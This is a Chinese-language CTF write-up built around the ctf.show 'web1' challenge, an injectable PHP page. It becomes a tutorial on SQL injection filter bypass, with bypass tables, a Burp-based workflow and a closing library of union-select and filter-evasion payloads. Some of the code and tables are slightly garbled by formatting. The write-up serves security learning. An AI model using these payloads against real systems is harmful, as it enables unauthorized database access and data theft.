先看一到萌新题ctf.show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<html> 
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在 i
f(isset($_GET['id'])){ $id = $_GET['id'];
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\
(|\)|\+|select/i",$id)){ die("id error"); }
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error"); }
else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值
$row while($row = $result->fetch_assoc()) { echo "id: " . $row["id"].
" - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>"; }
}
# 关闭数据库连接
$conn->close(); } }else{ highlight_file(__FILE__); }
?>
</body>
<!-- flag in id = 1000 -->
</html>

题目正则表达式 preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id) 过滤了大量字符,并且根据<!-- flag in id = 1000 -->的提示,应该传入/?id=1000,但是根据php代码,当id=1000时会不通过并显示id error,所以需要想办法绕过限制,使php识别到的参数小于999并且在sql拼接时被识别为1000,这时候就需要绕过。

一、数字型注入绕过

核心原则:让代码层和数据库层对同一输入产生解析分歧

绕过方法 原理与示例 适用场景/绕过点
科学计数法 intval("1e3") 可能得 1,而SQL中 1e3 = 1000。
?id=1e3 ?id=1.0e3 ?id=1E3
过滤了运算符号,但没过滤点.和字母e
进制转换 intval("0b...") 取0,SQL识别二进制。
?id=0b1111101000 // 1000的二进制
?id=01750 // 1000的八进制,intval得175
?id=0x3e8 // 1000的十六进制
经典成功方案。需注意过滤规则(是否禁x0x)。
运算绕过 利用数学运算得到目标值。
?id=1001-1
?id=999+1
?id=2*500
+-*等符号未被过滤时。注意intval("1001-1")会得1001
大数/浮点技巧 利用类型转换边界。
?id=999.9999999999 // intval得999,SQL可能取整为1000
特定环境下的技巧。
数据库函数 利用数据库内置函数。
?id=ceil(999.1) // 向上取整
?id=floor(1000.1) // 向下取整
函数名和括号()未被过滤时。

二、字符型注入绕过(引号被过滤)

核心原则:在不使用引号的情况下,构造出有效的字符串

绕过方法 原理与示例 适用场景
编码绕过 利用数据库支持的编码函数。
?id=1 and user=0x61646d696e // admin的十六进制
?id=1 and user=char(97,100,109,105,110) // ASCII码
过滤了引号,但可能没过滤hexchar0x
等价替换 用数据库内置变量或函数替代常见字符串。
version() <-> @@version
user() <-> current_user
过滤了特定函数名时,寻找别名。
注释分割 用注释将敏感字符“化整为零”。
?id=1' uni/**/on sele/**/ct 1,2,3 --+
过滤了union select这种完整单词,但没过滤片段。
大小写/双写 应对简单的字符串匹配。
?id=1 UnIoN SeLeCt 1,2,3
?id=1 ununionion selselectect 1,2,3
简单的str_ireplace("union", "", $input)过滤。
内联注释 利用MySQL特有的/*!...*/语法。
?id=1 /*!union*/ /*!select*/ 1,2,3
MySQL数据库,且WAF过滤不完善时。

三、通用关键词过滤绕过

针对orandselectunion=、空格等常见过滤。

过滤项 绕过方法 示例
逻辑运算符 and -> && (%26%26)
or -> `
(%7C%7C)?id=1 %26%26 1=1`
比较运算符 = -> likerlikeregexp<> ?id=1' or 1 like 1 --+
注释符 # -> --+-- -/*...*/ ?id=1' union select 1 -- -
空白符 空格 -> /**/%0a%0b%0d%09 ?id=1%0aunion%0aselect%0a1,2,3
关键词 注释插入、大小写、双写、等价替换 uni/**/onUnIoNununionion

四、实战思维与操作清单

1. 四步分析法

  1. 定类型:尝试 id=1'id=1"。观察报错或回显差异,判断是数字型还是字符型。

  2. 探过滤:使用Burp Repeater,系统测试常见符号和关键词(' " # - or and select union 空格 ()等),绘制“过滤矩阵”。

  3. 明目标:明确需要执行的SQL指令。是查询数据、获取库/表名,还是盲注验证?

  4. 构造Payload:根据过滤情况,从上述字典中选择组合技巧。

2. 环境差异应对

  • 科学计数法失败:立即转向**二进制0b八进制0**表示法,后者通常更稳定。

  • Payload本地成功但题目失败:考虑题目环境(PHP/MySQL版本、配置)差异,准备备用方案。

3. 工具使用技巧

  • Burp Repeater:主测试工具,用于修改、重放请求,观察响应。

  • Burp Intruder:用于爆破或模糊测试,测试大量Payload变体。

  • 编码工具:熟悉Burp Decoder,快速进行Base64、Hex、URL等编码转换。


五、经典Payload示例库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

-- 数字型绕过综合示例
?id=0b1111101000 -- 二进制 (稳定推荐)
?id=1e3 -- 科学计数法 (注意环境)
?id=999.9999999999 -- 浮点数溢出
?id=1000-1+1 -- 运算绕过 (符号未过滤时)

-- 字符型绕过综合示例
?id=1' %26%26 1=1 --+ -- and被过滤,用&&替代
?id=1' uni/**/on sel%0aect 1,2,3 -- - -- 空格被过滤,用/**/和%0a
?id=1' or user() like 'admin%' --+ -- =被过滤,用like

-- 联合查询绕过示例
?id=-1' /*!union*/ /*!select*/ 1,database(),3 --+
?id=-1' ununionion selselectect 1,@@version,3 --+